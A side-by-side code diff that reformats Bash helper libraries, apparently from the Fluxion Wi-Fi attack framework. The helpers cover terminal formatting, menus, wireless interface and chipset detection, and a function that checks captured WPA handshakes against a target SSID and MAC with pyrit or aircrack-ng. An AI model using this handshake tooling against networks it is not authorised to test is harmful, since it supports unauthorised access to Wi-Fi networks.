format_expand_invisibles "$1" format_expand_invisibles "$1"
format_list_specifiers "$FormatExpandInvisibles" format_list_specifiers "$FormatExpandInvisibles"
fi fi
#echo "format_calculate_length missing \$3" #echo "format_calculate_length missing \$3"
format_calculate_literals_length X "$FormatExpandInvisibles" FormatListSpecifiers[@] format_calculate_literals_length X "$FormatExpandInvisibles" FormatListSpecifiers[@]
__format_calculate_length__literalsLength=$FormatCalculateLiteralsLength __format_calculate_length__literalsLength=$FormatCalculateLiteralsLength
fi fi
FormatCalculateLength=$(( __format_calculate_length__staticsLength + __format_calculate_length__literalsLength )) FormatCalculateLength=$((__format_calculate_length__staticsLength + __format_calculate_length__literalsLength))
} }
# This function calculates total length of dynamics in format. # This function calculates total length of dynamics in format.
# Dynamics are all asterisk-containing specifiers in format. # Dynamics are all asterisk-containing specifiers in format.
# Parameters: $1 - format [$2 - format length ] # Parameters: $1 - format [$2 - format length ]
function format_calculate_dynamics_length() { function format_calculate_dynamics_length() {
local __format_calculate_dynamics_length__formatLength=$2 local __format_calculate_dynamics_length__formatLength=$2
if [ ! "$2" ]; then if [ ! "$2" ]; then
echo "format_calculate_dynamics_length missing \$2" echo "format_calculate_dynamics_length missing \$2"
format_calculate_length "$1" format_calculate_length "$1"
__format_calculate_dynamics_length__formatLength=$FormatCalculateLength __format_calculate_dynamics_length__formatLength=$FormatCalculateLength
fi fi
FormatCalculateDynamicsLength=$(( $(tput cols) - $__format_calculate_dynamics_length__formatLength )) FormatCalculateDynamicsLength=$(($(tput cols) - $__format_calculate_dynamics_length__formatLength))
} }
# This function calculates the size of individual dynamics in format. # This function calculates the size of individual dynamics in format.
# Parameters: $1 - format [$2 - dynamics length [$3 - dynamics count]] # Parameters: $1 - format [$2 - dynamics length [$3 - dynamics count]]
function format_calculate_autosize_length() { function format_calculate_autosize_length() {
local __format_calculate_autosize_length__dynamicsLength=$2 local __format_calculate_autosize_length__dynamicsLength=$2
local __format_calculate_autosize_length__dynamicsCount=$3 local __format_calculate_autosize_length__dynamicsCount=$3
if [ ! "$2" ]; then if [ ! "$2" ]; then
format_expand_invisibles "$1" format_expand_invisibles "$1"
format_list_specifiers "$FormatExpandInvisibles" format_list_specifiers "$FormatExpandInvisibles"
format_calculate_statics_length X FormatListSpecifiers[@] format_calculate_statics_length X FormatListSpecifiers[@]
format_calculate_literals_length X "$FormatExpandInvisibles" FormatListSpecifiers[@] format_calculate_literals_length X "$FormatExpandInvisibles" FormatListSpecifiers[@]
format_calculate_length X "$FormatCalculateStaticsLength" "$FormatCalculateLiteralsLength" format_calculate_length X "$FormatCalculateStaticsLength" "$FormatCalculateLiteralsLength"
format_calculate_dynamics_length X "$FormatCalculateLength" format_calculate_dynamics_length X "$FormatCalculateLength"
__format_calculate_autosize_length__dynamicsLength=$FormatCalculateDynamicsLength __format_calculate_autosize_length__dynamicsLength=$FormatCalculateDynamicsLength
fi fi
if [ ! "$3" ]; then if [ ! "$3" ]; then
if [ "$2" ] if [ "$2" ]; then format_list_specifiers "$1"
then format_list_specifiers "$1" fi
fi format_calculate_dynamics_count X FormatListSpecifiers[@]
format_calculate_dynamics_count X FormatListSpecifiers[@] __format_calculate_autosize_length__dynamicsCount=$FormatCalculateDynamicsCount
__format_calculate_autosize_length__dynamicsCount=$FormatCalculateDynamicsCount fi
fi
if [ $__format_calculate_autosize_length__dynamicsCount -ne 0 -a \ if [ $__format_calculate_autosize_length__dynamicsCount -ne 0 -a \
$__format_calculate_autosize_length__dynamicsLength -ge 0 ] $__format_calculate_autosize_length__dynamicsLength -ge 0 ]; then FormatCalculateAutosizeLength=$((__format_calculate_autosize_length__dynamicsLength / __format_calculate_autosize_length__dynamicsCount))
then FormatCalculateAutosizeLength=$(( __format_calculate_autosize_length__dynamicsLength / __format_calculate_autosize_length__dynamicsCount )) else FormatCalculateAutosizeLength=0
else FormatCalculateAutosizeLength=0 fi
fi
} }
# This function replaces dynamics' asterisks with their length, in format. # This function replaces dynamics' asterisks with their length, in format.
# Parameters: $1 - format [$2 - dynamics length [$3 - dynamics count]] # Parameters: $1 - format [$2 - dynamics length [$3 - dynamics count]]
# Warning: Strings containing '\n' result in undefined behavior (not supported). # Warning: Strings containing '\n' result in undefined behavior (not supported).
# Warning: Strings containing [0-9]+.* result in undefined behavior. # Warning: Strings containing [0-9]+.* result in undefined behavior.
# Notice: Single asterisks are auto-sized, doubles are replaced "**" -> "*". # Notice: Single asterisks are auto-sized, doubles are replaced "**" -> "*".
function format_apply_autosize() { function format_apply_autosize() {
format_calculate_autosize_length "${@}" # Pass all arguments on. format_calculate_autosize_length "${@}" # Pass all arguments on.
FormatApplyAutosize=$1 FormatApplyAutosize=$1
let format_apply_autosize_overcount=$FormatCalculateDynamicsLength%$FormatCalculateDynamicsCount let format_apply_autosize_overcount=$FormatCalculateDynamicsLength%$FormatCalculateDynamicsCount
if [ $format_apply_autosize_overcount -gt 0 ]; then # If we've got left-over, fill it left-to-right. if [ $format_apply_autosize_overcount -gt 0 ]; then # If we've got left-over, fill it left-to-right.
let format_apply_autosize_oversize=$FormatCalculateAutosizeLength+1 let format_apply_autosize_oversize=$FormatCalculateAutosizeLength+1
FormatApplyAutosize=$(echo "$FormatApplyAutosize" | sed -r 's/(^|[^*])\*(\.\*|[^*]|$)/\1'$format_apply_autosize_oversize'\2/'$format_apply_autosize_overcount'; s/([0-9]+\.)\*/\1'$format_apply_autosize_oversize'/'$format_apply_autosize_overcount) FormatApplyAutosize=$(echo "$FormatApplyAutosize" | sed -r 's/(^|[^*])\*(\.\*|[^*]|$)/\1'$format_apply_autosize_oversize'\2/'$format_apply_autosize_overcount'; s/([0-9]+\.)\*/\1'$format_apply_autosize_oversize'/'$format_apply_autosize_overcount)
fi fi
FormatApplyAutosize=$(echo "$FormatApplyAutosize" | sed -r 's/\*\.\*/'$FormatCalculateAutosizeLength'.'$FormatCalculateAutosizeLength'/g; s/(^|[^*])\*([^*]|$)/\1'$FormatCalculateAutosizeLength'\2/g; s/\*\*/*/g') FormatApplyAutosize=$(echo "$FormatApplyAutosize" | sed -r 's/\*\.\*/'$FormatCalculateAutosizeLength'.'$FormatCalculateAutosizeLength'/g; s/(^|[^*])\*([^*]|$)/\1'$FormatCalculateAutosizeLength'\2/g; s/\*\*/*/g')
} }
# This function centers literal text. # This function centers literal text.
# Parameters: $1 - literals # Parameters: $1 - literals
function format_center_literals() { function format_center_literals() {
format_strip_invisibles "$1" format_strip_invisibles "$1"
local __format_center_literals__text_length=${#FormatStripInvisibles} local __format_center_literals__text_length=${#FormatStripInvisibles}
format_apply_autosize "%*s%${__format_center_literals__text_length}s%*s" format_apply_autosize "%*s%${__format_center_literals__text_length}s%*s"
FormatCenterLiterals=$(printf "$FormatApplyAutosize" "" "$1" "") FormatCenterLiterals=$(printf "$FormatApplyAutosize" "" "$1" "")
} }
# This function centers statics in format. # This function centers statics in format.
# Parameters: $1 - format # Parameters: $1 - format
function format_center_dynamic() { function format_center_dynamic() {
format_calculate_length "$1" format_calculate_length "$1"
format_calculate_dynamics_length X $FormatCalculateLength format_calculate_dynamics_length X $FormatCalculateLength
format_apply_autosize "%*s%${FormatCalculateLength}s%*s" $FormatCalculateDynamicsLength 2 format_apply_autosize "%*s%${FormatCalculateLength}s%*s" $FormatCalculateDynamicsLength 2
# Temporary, I'll find a better solution later (too tired). # Temporary, I'll find a better solution later (too tired).
FormatCenterDynamic=$(printf "`echo "$FormatApplyAutosize" | sed -r 's/%[0-9]+s/%s/2'`" "" "$1" "") FormatCenterDynamic=$(printf "$(echo "$FormatApplyAutosize" | sed -r 's/%[0-9]+s/%s/2')" "" "$1" "")
} }

View File

@ -6,60 +6,65 @@ readonly HashUtilsVersion="1.0"
HashOutputDevice="/dev/stdout" HashOutputDevice="/dev/stdout"
function hash_check_handshake() { function hash_check_handshake() {
local handshakeVerifier=$1 local handshakeVerifier=$1
local handshakePath=$2 local handshakePath=$2
local handshakeAPSSID=$3 local handshakeAPSSID=$3
local handshakeAPMAC=$4 local handshakeAPMAC=$4
local analysis local analysis
local hashData local hashData
echo "Verifier Parameters: $handshakeVerifier, path $handshakePath, SSID \"$handshakeAPSSID\", MAC $handshakeAPMAC" > $HashOutputDevice echo "Verifier Parameters: $handshakeVerifier, path $handshakePath, SSID \"$handshakeAPSSID\", MAC $handshakeAPMAC" >$HashOutputDevice
case "$handshakeVerifier" in case "$handshakeVerifier" in
"pyrit") "pyrit")
readarray analysis < <(pyrit -r "$handshakePath" analyze 2> $HashOutputDevice) readarray analysis < <(pyrit -r "$handshakePath" analyze 2>$HashOutputDevice)
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
echo "Error: pyrit seems to be broken!" > $HashOutputDevice echo "Error: pyrit seems to be broken!" >$HashOutputDevice
return 1 return 1
fi fi
local hashMeta=$(echo "${analysis[@]}" | grep -F "AccessPoint ${handshakeAPMAC,,} ('$handshakeAPSSID')") local hashMeta=$(echo "${analysis[@]}" | grep -F "AccessPoint ${handshakeAPMAC,,} ('$handshakeAPSSID')")
if [ "$hashMeta" ]; then if [ "$hashMeta" ]; then
local hashID=$(echo "$hashMeta" | awk -F'[ #:]' '{print $3}') local hashID=$(echo "$hashMeta" | awk -F'[ #:]' '{print $3}')
hashData=$(echo "${analysis[@]}" | awk "\$0~/#$hashID: HMAC_SHA[0-9]+_AES/{ print \$0 }") hashData=$(echo "${analysis[@]}" | awk "\$0~/#$hashID: HMAC_SHA[0-9]+_AES/{ print \$0 }")
else else
echo "No valid hash meta was found for \"$handshakeAPSSID\"" > $HashOutputDevice echo "No valid hash meta was found for \"$handshakeAPSSID\"" >$HashOutputDevice
fi;; fi
"aircrack-ng") ;;
readarray analysis < <(aircrack-ng "$handshakePath" 2> $HashOutputDevice) "aircrack-ng")
if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then readarray analysis < <(aircrack-ng "$handshakePath" 2>$HashOutputDevice)
echo "Error: aircrack-ng seems to be broken!" > $HashOutputDevice if [ "${#analysis[@]}" -eq 0 -o $? != 0 ]; then
return 1 echo "Error: aircrack-ng seems to be broken!" >$HashOutputDevice
fi return 1
fi
hashData=$(echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -F "$handshakeAPSSID");; hashData=$(echo "${analysis[@]}" | grep -E "${handshakeAPMAC^^}\s+" | grep -F "$handshakeAPSSID")
*) echo "Invalid verifier, quitting!"; return 1;; ;;
esac *)
echo "Invalid verifier, quitting!"
return 1
;;
esac
if [ -z "$hashData" ]; then if [ -z "$hashData" ]; then
echo "Handshake for $handshakeAPSSID ($handshakeAPMAC) is missing!" echo "Handshake for $handshakeAPSSID ($handshakeAPMAC) is missing!"
return 1 return 1
fi fi
local hashResult local hashResult
case "$handshakeVerifier" in case "$handshakeVerifier" in
"pyrit") hashResult=$(echo "$hashData" | grep "good");; "pyrit") hashResult=$(echo "$hashData" | grep "good") ;;
"aircrack-ng") hashResult=$(echo "$hashData" | grep "(1 handshake)");; "aircrack-ng") hashResult=$(echo "$hashData" | grep "(1 handshake)") ;;
esac esac
if [ -z "$hashResult" ]; then if [ -z "$hashResult" ]; then
echo "Invalid hash for $handshakeAPSSID ($handshakeAPMAC)!" echo "Invalid hash for $handshakeAPSSID ($handshakeAPMAC)!"
HASHCheckHandshake="invalid" HASHCheckHandshake="invalid"
return 1 return 1
else else
echo "Valid hash for $handshakeAPSSID ($handshakeAPMAC)!" echo "Valid hash for $handshakeAPSSID ($handshakeAPMAC)!"
HASHCheckHandshake="valid" HASHCheckHandshake="valid"
fi fi
} }

View File

@ -10,35 +10,35 @@ IOUtilsPrompt="[$USER@$HOSTNAME]> "
if [ ! "$ArrayUtilsVersion" ]; then source lib/ArrayUtils.sh; fi if [ ! "$ArrayUtilsVersion" ]; then source lib/ArrayUtils.sh; fi
function io_input_choice() { function io_input_choice() {
local __io_input_choice__choice local __io_input_choice__choice
until [ ! -z "$__io_input_choice__choice" ]; do until [ ! -z "$__io_input_choice__choice" ]; do
echo -ne "$IOUtilsPrompt" echo -ne "$IOUtilsPrompt"
local __io_input_choice__input local __io_input_choice__input
read __io_input_choice__input read __io_input_choice__input
local __io_input_choice__choices local __io_input_choice__choices
for __io_input_choice__choices in ${@}; do for __io_input_choice__choices in ${@}; do
array_contains $__io_input_choice__choices "$__io_input_choice__input" array_contains $__io_input_choice__choices "$__io_input_choice__input"
if [ $? -eq 0 ]; then if [ $? -eq 0 ]; then
__io_input_choice__choice="$__io_input_choice__input" __io_input_choice__choice="$__io_input_choice__input"
break break
fi fi
done done
done done
IOInputChoice=$__io_input_choice__choice IOInputChoice=$__io_input_choice__choice
} }
function io_dynamic_output() { function io_dynamic_output() {
eval 'echo -ne "'${@}'"' eval 'echo -ne "'${@}'"'
} }
function io_input_enumerated_choice() { function io_input_enumerated_choice() {
local __io_input_enumerated_choice__choices=("${!1}") local __io_input_enumerated_choice__choices=("${!1}")
local __io_input_enumerated_choice__indexes=($(seq ${#__io_input_numeric_choice__choices[@]})) local __io_input_enumerated_choice__indexes=($(seq ${#__io_input_numeric_choice__choices[@]}))
io_input_choice __io_input_enumerated_choice__indexes[@] io_input_choice __io_input_enumerated_choice__indexes[@]
IOInputEnumeratedChoice=${__io_input_enumerated_choice__choices[$IOInputChoice]} IOInputEnumeratedChoice=${__io_input_enumerated_choice__choices[$IOInputChoice]}
} }
# This function outputs formatted lines of fields. # This function outputs formatted lines of fields.
@ -48,106 +48,98 @@ function io_input_enumerated_choice() {
# NOTICE: At least the first array must be passed! # NOTICE: At least the first array must be passed!
# Example: /dev/stdout "%s is %s." name[@] mood[@] # Example: /dev/stdout "%s is %s." name[@] mood[@]
function io_output_format_fields() { function io_output_format_fields() {
# Determine the amount of arguments passed. # Determine the amount of arguments passed.
local __io_output_format_fields__argument_count=${#@} local __io_output_format_fields__argument_count=${#@}
# Load locally by indirect expansion, ${! ... }, # Load locally by indirect expansion, ${! ... },
# and mangle the variable number argument arrays. # and mangle the variable number argument arrays.
local __io_output_format_fields__i local __io_output_format_fields__i
for ((__io_output_format_fields__i = 3; \ for ((__io_output_format_fields__i = 3; __io_output_format_fields__i <= __io_output_format_fields__argument_count; __io_output_format_fields__i++)); do
__io_output_format_fields__i <= __io_output_format_fields__argument_count; \ eval "local __io_output_format_fields__field$__io_output_format_fields__i=(\"\${!$__io_output_format_fields__i}\")"
__io_output_format_fields__i++)); do done
eval "local __io_output_format_fields__field$__io_output_format_fields__i=(\"\${!$__io_output_format_fields__i}\")"
done
# Determine the amount of records/lines to print. # Determine the amount of records/lines to print.
# Notice at least the first array must be passed. # Notice at least the first array must be passed.
local __io_output_format_fields__record_count=${#__io_output_format_fields__field3[@]} local __io_output_format_fields__record_count=${#__io_output_format_fields__field3[@]}
for ((__io_output_format_fields__i = 0; \ for ((__io_output_format_fields__i = 0; __io_output_format_fields__i < __io_output_format_fields__record_count; __io_output_format_fields__i++)); do
__io_output_format_fields__i < __io_output_format_fields__record_count; \ local __io_output_format_fields__values="\"\${__io_output_format_fields__field"$(
__io_output_format_fields__i++)); do seq -s "[$__io_output_format_fields__i]}\" \"\${__io_output_format_fields__field" 3 $__io_output_format_fields__argument_count
local __io_output_format_fields__values="\"\${__io_output_format_fields__field"$( \ )"[$__io_output_format_fields__i]}\""
seq -s "[$__io_output_format_fields__i]}\" \"\${__io_output_format_fields__field" 3 $__io_output_format_fields__argument_count \ eval "printf \"$2\" $__io_output_format_fields__values > $1"
)"[$__io_output_format_fields__i]}\"" done
eval "printf \"$2\" $__io_output_format_fields__values > $1"
done
} }
function io_query_format_fields() { function io_query_format_fields() {
# Assure we've got required parameters. # Assure we've got required parameters.
if [ ${#@} -lt 2 ]; then if [ ${#@} -lt 2 ]; then
return 1 return 1
fi fi
local __io_query_format_fields__argument_count=${#@} local __io_query_format_fields__argument_count=${#@}
local __io_query_format_fields__query="$1" local __io_query_format_fields__query="$1"
local __io_query_format_fields__format="$2" local __io_query_format_fields__format="$2"
# Load locally by indirect expansion, ${! ... }, # Load locally by indirect expansion, ${! ... },
# and mangle the variable number argument arrays. # and mangle the variable number argument arrays.
local __io_query_format_fields__i local __io_query_format_fields__i
for ((__io_query_format_fields__i = 3; \ for ((__io_query_format_fields__i = 3; __io_query_format_fields__i <= __io_query_format_fields__argument_count; __io_query_format_fields__i++)); do
__io_query_format_fields__i <= __io_query_format_fields__argument_count; \ eval "local __io_query_format_fields__f$__io_query_format_fields__i=(\"\${!$__io_query_format_fields__i}\")"
__io_query_format_fields__i++)); do done
eval "local __io_query_format_fields__f$__io_query_format_fields__i=(\"\${!$__io_query_format_fields__i}\")"
done
local __io_query_format_fields__record_count=${#__io_query_format_fields__f3[@]} local __io_query_format_fields__record_count=${#__io_query_format_fields__f3[@]}
local __io_query_format_fields__indexes=($(seq $__io_query_format_fields__record_count)) local __io_query_format_fields__indexes=($(seq $__io_query_format_fields__record_count))
if [ ! -z "$1" ]; then if [ ! -z "$1" ]; then
if [ "`type -t $(echo -e "$IOUtilsHeader" | grep -vE '\s')`" = "function" ]; then $IOUtilsHeader; if [ "$(type -t $(echo -e "$IOUtilsHeader" | grep -vE '\s'))" = "function" ]; then $IOUtilsHeader
else echo -e "$IOUtilsHeader"; fi else echo -e "$IOUtilsHeader"; fi
echo -e "$__io_query_format_fields__query" echo -e "$__io_query_format_fields__query"
echo echo
fi fi
io_output_format_fields /dev/stdout "$__io_query_format_fields__format" __io_query_format_fields__indexes[@] ${@:3} io_output_format_fields /dev/stdout "$__io_query_format_fields__format" __io_query_format_fields__indexes[@] ${@:3}
echo echo
io_input_choice __io_query_format_fields__indexes[@] io_input_choice __io_query_format_fields__indexes[@]
IOQueryFormatFields=() IOQueryFormatFields=()
for ((__io_query_format_fields__i = 3; \ for ((__io_query_format_fields__i = 3; __io_query_format_fields__i <= __io_query_format_fields__argument_count; __io_query_format_fields__i++)); do
__io_query_format_fields__i <= __io_query_format_fields__argument_count; \ eval "IOQueryFormatFields[${#IOQueryFormatFields[@]}]=\${__io_query_format_fields__f$__io_query_format_fields__i[IOInputChoice - 1]}"
__io_query_format_fields__i++)); do done
eval "IOQueryFormatFields[${#IOQueryFormatFields[@]}]=\${__io_query_format_fields__f$__io_query_format_fields__i[IOInputChoice - 1]}"
done
} }
function io_query_choice() { function io_query_choice() {
# Assure we've got required parameters. # Assure we've got required parameters.
if [ ${#@} -lt 2 ]; then if [ ${#@} -lt 2 ]; then
return 1 return 1
fi fi
__io_query_choice__query=$([ -z "$1" ] && echo -n "" || echo -ne "$FLUXIONVLine $1\n") __io_query_choice__query=$([ -z "$1" ] && echo -n "" || echo -ne "$FLUXIONVLine $1\n")
io_query_format_fields "$__io_query_choice__query" "\t$CRed[$CSYel%d$CClr$CRed]$CClr %b\n" $2 io_query_format_fields "$__io_query_choice__query" "\t$CRed[$CSYel%d$CClr$CRed]$CClr %b\n" $2
IOQueryChoice="${IOQueryFormatFields[0]}" IOQueryChoice="${IOQueryFormatFields[0]}"
} }
function io_query_file() { function io_query_file() {
if [ ${#@} -lt 2 ]; then if [ ${#@} -lt 2 ]; then
return 1 return 1
fi fi
local __io_query_file__options local __io_query_file__options
# List a line per line and redirect output. # List a line per line and redirect output.
# readarray __io_query_file__options < $2 # readarray __io_query_file__options < $2
mapfile __io_query_file__options < $2 mapfile __io_query_file__options <$2
# Strip newline characters from array elements # Strip newline characters from array elements
__io_query_file__options=("${__io_query_file__options[@]/$'\n'}") __io_query_file__options=("${__io_query_file__options[@]/$'\n'/}")
io_query_choice "$1" __io_query_file__options[@] io_query_choice "$1" __io_query_file__options[@]
IOQueryFile=$IOQueryChoice IOQueryFile=$IOQueryChoice
} }
# FLUXSCRIPT END # FLUXSCRIPT END

View File

@ -7,200 +7,203 @@
# This is all thanks for the airmon-ng authors, thanks guys. # This is all thanks for the airmon-ng authors, thanks guys.
InterfaceUtilsOutputDevice="/dev/stdout" InterfaceUtilsOutputDevice="/dev/stdout"
if [ -d /sys/bus/usb ] # && hash lsusb if [ -d /sys/bus/usb ] # && hash lsusb;
then InterfaceUSBBus=1 then InterfaceUSBBus=1
fi fi
if [ -d /sys/bus/pci ] || [ -d /sys/bus/pci_express ] || [ -d /proc/bus/pci ] # && hash lspci if [ -d /sys/bus/pci ] || [ -d /sys/bus/pci_express ] || [ -d /proc/bus/pci ] # && hash lspci;
then InterfacePCIBus=1 then InterfacePCIBus=1
fi fi
# Checks if the interface belongs to a physical device. # Checks if the interface belongs to a physical device.
function interface_is_real() { function interface_is_real() {
if [ -d /sys/class/net/$1/device ] if [ -d /sys/class/net/$1/device ]; then return 0
then return 0 else return 1
else return 1 fi
fi
} }
# Checks if the interface belongs to a wireless device. # Checks if the interface belongs to a wireless device.
function interface_is_wireless() { function interface_is_wireless() {
if grep -qs "DEVTYPE=wlan" /sys/class/net/$1/uevent if grep -qs "DEVTYPE=wlan" /sys/class/net/$1/uevent; then return 0
then return 0 else return 1
else return 1 fi
fi
} }
# Returns an array of absolutely all interfaces. # Returns an array of absolutely all interfaces.
# Notice: That includes interfaces such as the loopback interface. # Notice: That includes interfaces such as the loopback interface.
function interface_list_all() { function interface_list_all() {
InterfaceListAll=(/sys/class/net/*) InterfaceListAll=(/sys/class/net/*)
InterfaceListAll=("${InterfaceListAll[@]//\/sys\/class\/net\//}") InterfaceListAll=("${InterfaceListAll[@]//\/sys\/class\/net\//}")
} }
# Returns an array of interfaces pertaining to a physical device. # Returns an array of interfaces pertaining to a physical device.
function interface_list_real() { function interface_list_real() {
InterfaceListReal=() InterfaceListReal=()
interface_list_all interface_list_all
local __interface_list_real__candidate local __interface_list_real__candidate
for __interface_list_real__candidate in "${InterfaceListAll[@]}"; do for __interface_list_real__candidate in "${InterfaceListAll[@]}"; do
if interface_is_real $__interface_list_real__candidate if interface_is_real $__interface_list_real__candidate; then InterfaceListReal+=("$__interface_list_real__candidate")
then InterfaceListReal+=("$__interface_list_real__candidate") fi
fi done
done
} }
# Returns an array of interfaces pertaining to a wireless device. # Returns an array of interfaces pertaining to a wireless device.
function interface_list_wireless() { function interface_list_wireless() {
InterfaceListWireless=() InterfaceListWireless=()
interface_list_all interface_list_all
local __interface_list_wireless__candidate local __interface_list_wireless__candidate
for __interface_list_wireless__candidate in "${InterfaceListAll[@]}"; do for __interface_list_wireless__candidate in "${InterfaceListAll[@]}"; do
if interface_is_wireless $__interface_list_wireless__candidate if interface_is_wireless $__interface_list_wireless__candidate; then InterfaceListWireless+=("$__interface_list_wireless__candidate")
then InterfaceListWireless+=("$__interface_list_wireless__candidate") fi
fi done
done
} }
function interface_driver() { function interface_driver() {
InterfaceDriver=$(basename $(readlink /sys/class/net/$1/device/driver)) InterfaceDriver=$(basename $(readlink /sys/class/net/$1/device/driver))
} }
function interface_physical() { function interface_physical() {
if [ ! "$1" ]; then return 1; fi if [ ! "$1" ]; then return 1; fi
unset InterfacePhysical unset InterfacePhysical
local -r interface_physical_path="/sys/class/net/$1/phy80211" local -r interface_physical_path="/sys/class/net/$1/phy80211"
if [ -d "$interface_physical_path" ]; then if [ -d "$interface_physical_path" ]; then
if [ -r "$interface_physical_path/name" ] if [ -r "$interface_physical_path/name" ]; then InterfacePhysical="$(cat "$interface_physical_path/name")"
then InterfacePhysical="`cat "$interface_physical_path/name"`" fi
fi if [ ! "${InterfacePhysical// /}" ]; then InterfacePhysical="$(ls -l "$interface_physical_path" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/')"
if [ ! "${InterfacePhysical// }" ] fi
then InterfacePhysical="`ls -l "$interface_physical_path" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/'`" fi
fi
fi
if [ ! "$InterfacePhysical" ]; then return 2; fi if [ ! "$InterfacePhysical" ]; then return 2; fi
} }
function interface_hardware() { function interface_hardware() {
if [ ! "$1" ]; then return 1; fi if [ ! "$1" ]; then return 1; fi
local __interface_hardware__device="/sys/class/net/$1/device" local __interface_hardware__device="/sys/class/net/$1/device"
local __interface_hardware__hwinfo="$__interface_hardware__device/modalias" local __interface_hardware__hwinfo="$__interface_hardware__device/modalias"
InterfaceHardwareBus="`cut -d ":" -f 1 "$__interface_hardware__hwinfo" 2> $InterfaceUtilsOutputDevice`" InterfaceHardwareBus="$(cut -d ":" -f 1 "$__interface_hardware__hwinfo" 2>$InterfaceUtilsOutputDevice)"
case "$InterfaceHardwareBus" in case "$InterfaceHardwareBus" in
"usb") # Wanted to replace the line below with awk, but i'll probably just add complexity & issues (mawk vs gawk). "usb") # Wanted to replace the line below with awk, but i'll probably just add complexity & issues (mawk vs gawk).
InterfaceHardwareID="`cut -d ":" -f 2 $__interface_hardware__hwinfo | cut -b 1-10 | sed 's/^.//;s/p/:/'`";; InterfaceHardwareID="$(cut -d ":" -f 2 $__interface_hardware__hwinfo | cut -b 1-10 | sed 's/^.//;s/p/:/')"
"pci" | "pcmcia" | "sdio") ;;
InterfaceHardwareID="`cat "$__interface_hardware__device/vendor" 2> $InterfaceUtilsOutputDevice`:`cat "$__interface_hardware__device/device" 2> $InterfaceUtilsOutputDevice`";; "pci" | "pcmcia" | "sdio")
default) # The following will only work for USB devices. InterfaceHardwareID="$(cat "$__interface_hardware__device/vendor" 2>$InterfaceUtilsOutputDevice):$(cat "$__interface_hardware__device/device" 2>$InterfaceUtilsOutputDevice)"
InterfaceHardwareID="`cat "$__interface_hardware__device/idVendor" 2> $InterfaceUtilsOutputDevice`:`cat "$__interface_hardware__device/idProduct" 2> $InterfaceUtilsOutputDevice`" ;;
InterfaceHardwareBus="usb";; # This will be reset below if InterfaceHardwareID is invalid. default) # The following will only work for USB devices.
esac InterfaceHardwareID="$(cat "$__interface_hardware__device/idVendor" 2>$InterfaceUtilsOutputDevice):$(cat "$__interface_hardware__device/idProduct" 2>$InterfaceUtilsOutputDevice)"
InterfaceHardwareBus="usb"
;; # This will be reset below if InterfaceHardwareID is invalid.
esac
# Check for invalid InterfaceHardwareID (starts or ends with :) .. not a happy face, still won't quote it. # Check for invalid InterfaceHardwareID (starts or ends with :) .. not a happy face, still won't quote it.
if echo "$InterfaceHardwareID" | egrep -q "^:|:$"; then if echo "$InterfaceHardwareID" | egrep -q "^:|:$"; then
unset InterfaceHardwareID unset InterfaceHardwareID
unset InterfaceHardwareBus unset InterfaceHardwareBus
return 2 return 2
else else
# Remove any extraneous hex markers. # Remove any extraneous hex markers.
InterfaceHardwareID=${InterfaceHardwareID//0x/} InterfaceHardwareID=${InterfaceHardwareID//0x/}
fi fi
} }
function interface_chipset() { function interface_chipset() {
if [ ! "$1" ]; then return 1; fi if [ ! "$1" ]; then return 1; fi
if ! interface_hardware "$1"; then return 2; fi if ! interface_hardware "$1"; then return 2; fi
case "$InterfaceHardwareBus" in case "$InterfaceHardwareBus" in
"usb") "usb")
if [ ! "$InterfaceUSBBus" ]; then return 3; fi if [ ! "$InterfaceUSBBus" ]; then return 3; fi
InterfaceChipset="`lsusb -d "$InterfaceHardwareID" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //'`";; InterfaceChipset="$(lsusb -d "$InterfaceHardwareID" | head -n1 - | cut -f3- -d ":" | sed 's/^....//;s/ Network Connection//g;s/ Wireless Adapter//g;s/^ //')"
"pci" | "pcmcia") ;;
if [ ! "$InterfacePCIBus" ]; then return 4; fi "pci" | "pcmcia")
InterfaceChipset="$(lspci -d $InterfaceHardwareID | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')";; if [ ! "$InterfacePCIBus" ]; then return 4; fi
"sdio") InterfaceChipset="$(lspci -d $InterfaceHardwareID | cut -f3- -d ":" | sed 's/Wireless LAN Controller //g;s/ Network Connection//g;s/ Wireless Adapter//;s/^ //')"
if [[ "${InterfaceHardwareID,,}" = "0x02d0"* ]] ;;
then InterfaceChipset=$(printf "Broadcom %d" ${InterfaceHardwareID:7}) "sdio")
else InterfaceChipset="Unknown chipset for SDIO device." if [[ "${InterfaceHardwareID,,}" == "0x02d0"* ]]; then InterfaceChipset=$(printf "Broadcom %d" ${InterfaceHardwareID:7})
fi;; else InterfaceChipset="Unknown chipset for SDIO device."
default) fi
InterfaceChipset="Unknown device chipset & device bus." ;;
esac default)
InterfaceChipset="Unknown device chipset & device bus."
;;
esac
} }
function interface_state() { function interface_state() {
if [ ! "$1" ]; then return 1; fi if [ ! "$1" ]; then return 1; fi
local __interface_state__stateFile="/sys/class/net/$1/operstate" local __interface_state__stateFile="/sys/class/net/$1/operstate"
if [ ! -f "$__interface_state__stateFile" ]; then return 2; fi if [ ! -f "$__interface_state__stateFile" ]; then return 2; fi
InterfaceState=$(cat "$__interface_state__stateFile") InterfaceState=$(cat "$__interface_state__stateFile")
} }
function interface_set_state() { function interface_set_state() {
if [ "${#@}" -ne 2 ]; then return 1; fi if [ "${#@}" -ne 2 ]; then return 1; fi
ip link set "$1" "$2" ip link set "$1" "$2"
} }
function interface_set_mode() { function interface_set_mode() {
if [ "${#@}" -ne 2 ]; then return 1; fi if [ "${#@}" -ne 2 ]; then return 1; fi
if ! interface_set_state "$1" "down"; then return 2; fi if ! interface_set_state "$1" "down"; then return 2; fi
if ! iwconfig "$1" mode "$2" &> $InterfaceUtilsOutputDevice; then return 3; fi if ! iwconfig "$1" mode "$2" &>$InterfaceUtilsOutputDevice; then return 3; fi
if ! interface_set_state "$1" "up"; then return 4; fi if ! interface_set_state "$1" "up"; then return 4; fi
} }
function interface_prompt() { function interface_prompt() {
if [ -z "$1" -o -z "$2" ]; then return 1; fi if [ -z "$1" -o -z "$2" ]; then return 1; fi
